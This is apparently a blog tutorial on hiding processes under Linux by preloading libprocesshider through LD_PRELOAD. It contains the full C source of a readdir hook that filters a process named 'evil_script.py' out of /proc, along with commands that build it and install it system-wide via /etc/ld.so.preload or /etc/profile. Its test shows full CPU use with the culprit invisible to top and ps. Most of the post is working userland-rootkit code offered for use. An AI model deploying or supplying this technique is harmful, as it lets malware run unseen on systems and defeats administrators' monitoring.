A way to hide processes under linux

Keywords: Linux github git Linker

Preface

  1. The tools used in this article are https://github.com/gianlucaborello/libprocesshider Downloadable
  2. The idea is to use LD_PRELOAD to hijack system functions

    What is LD_PRELOAD:

    LD_PRELOAD is an environment variable on Linux that affects the Runtime linker of a program, allowing you to define dynamic link libraries that are loaded first before the program runs.This function is primarily used to selectively load the same functions from different dynamic link libraries.With this environment variable, we can load other dynamic link libraries in the middle of the main program and its dynamic link libraries, even overwriting normal function libraries.On the one hand, we can use this function to use our own or better functions (without other people's source code), on the other hand, we can also inject programs into other people's programs to achieve specific purposes.

Realization

1. Download program compilation

bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git
Cloning into 'libprocesshider'...
remote: Counting objects: 26, done.
remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26
Unpacking objects: 100% (26/26), done.
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider# 

2. Move files to/usr/local/lib/directory

mv libprocesshider.so /usr/local/lib/

3. Load it into the Global Dynamic Connection Board

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

test

  1. We run evil_script.py
  2. At this point, it was found that evil_script.py could not be found in both top and ps.

At this point we found that the cpu was 100%, but we couldn't find any programs that occupy a high cpu

Analysis

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/*
 * Every process with this name will be excluded
 */
static const char* process_to_filter = "evil_script.py";

/*
 * Get a directory name given a DIR* handle
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
    int fd = dirfd(dirp);
    if(fd == -1) {
        return 0;
    }

    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
        return 0;
    }

    buf[ret] = 0;
    return 1;
}

/*
 * Get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) {
        return 0;
    }

    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
 
    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }

    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }

    fclose(f);

    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}

#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
                                                                        \
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
    if(original_##readdir == NULL) {                                    \
        original_##readdir = dlsym(RTLD_NEXT, "readdir");               \
        if(original_##readdir == NULL)                                  \
        {                                                               \
            fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
        }                                                               \
    }                                                                   \
                                                                        \
    struct dirent* dir;                                                 \
                                                                        \
    while(1)                                                            \
    {                                                                   \
        dir = original_##readdir(dirp);                                 \
        if(dir) {                                                       \
            char dir_name[256];                                         \
            char process_name[256];                                     \
            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
                strcmp(dir_name, "/proc") == 0 &&                       \
                get_process_name(dir->d_name, process_name) &&          \
                strcmp(process_name, process_to_filter) == 0) {         \
                continue;                                               \
            }                                                           \
        }                                                               \
        break;                                                          \
    }                                                                   \
    return dir;                                                         \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
  1. The program defines a variable, process_to_filter, to control which process name is not displayed
  2. Rewrite readdir,
    strcmp(process_name, process_to_filter) == 0)
    Continue the loop when you find that the current process name is the same as process_to_filter.

Pits encountered

  1. This program does not compile well on some Linux

    Solution

    Delete one of the last two lines

    DECLARE_READDIR(dirent64, readdir64);

    DECLARE_READDIR(dirent, readdir);

  2. Used on some Linux
    echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

    Will not take effect
    We need to configure environment variables at this point
    bmfxgkpt-yhd:~# vi /etc/profile
    Add a line
    export LD_PRELOAD=/usr/local/lib/libprocesshider.so

Posted by mamoman on Fri, 17 May 2019 02:52:51 -0700